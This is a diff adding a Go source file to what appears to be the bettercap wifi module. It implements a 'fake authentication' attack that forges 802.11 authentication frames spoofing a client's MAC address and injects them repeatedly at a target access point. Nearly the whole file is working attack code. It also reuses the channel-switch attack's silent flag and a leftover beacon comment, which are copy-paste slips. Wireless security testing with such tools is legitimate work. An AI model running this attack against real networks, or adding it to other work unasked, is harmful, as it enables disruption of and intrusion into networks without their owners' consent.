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Original file line number | Diff line number | Diff line change |
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@@ -0,0 +1,71 @@ | ||
package wifi | ||
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import ( | ||
"bytes" | ||
"fmt" | ||
"github.com/bettercap/bettercap/network" | ||
"github.com/bettercap/bettercap/packets" | ||
"net" | ||
) | ||
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func (mod *WiFiModule) isFakeAuthSilent() bool { | ||
if err, is := mod.BoolParam("wifi.fake_auth.silent"); err != nil { | ||
mod.Warning("%v", err) | ||
} else { | ||
mod.csaSilent = is | ||
} | ||
return mod.csaSilent | ||
} | ||
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func(mod *WiFiModule)sendFakeAuthPacket(bssid,client net.HardwareAddr){ | ||
err,pkt:=packets.NewDot11Auth(client,bssid,0) | ||
if err!=nil{ | ||
mod.Error("could not create authentication packet: %s", err) | ||
return | ||
} | ||
for i:=0;i<32;i++{ | ||
mod.injectPacket(pkt) | ||
} | ||
} | ||
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func (mod *WiFiModule) startFakeAuth(bssid,client net.HardwareAddr) error { | ||
// if not already running, temporarily enable the pcap handle | ||
// for packet injection | ||
if !mod.Running() { | ||
if err := mod.Configure(); err != nil { | ||
return err | ||
} | ||
defer mod.handle.Close() | ||
} | ||
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var ap *network.AccessPoint = nil | ||
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for _, _ap := range mod.Session.WiFi.List() { | ||
if bytes.Equal(_ap.HW, bssid) { | ||
ap = _ap | ||
} | ||
} | ||
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if ap == nil { | ||
return fmt.Errorf("%s is an unknown BSSID", bssid.String()) | ||
} | ||
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mod.writes.Add(1) | ||
go func() { | ||
defer mod.writes.Done() | ||
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if mod.Running() { | ||
logger := mod.Info | ||
if mod.isFakeAuthSilent() { | ||
logger = mod.Debug | ||
} | ||
logger("fake authentication attack in AP: %s client: %s", ap.ESSID(), client.String()) | ||
// send the beacon frame with channel switch announce element id | ||
mod.onChannel(ap.Channel, func() { | ||
mod.sendFakeAuthPacket(bssid,client) | ||
}) | ||
} | ||
}() | ||
return nil | ||
} |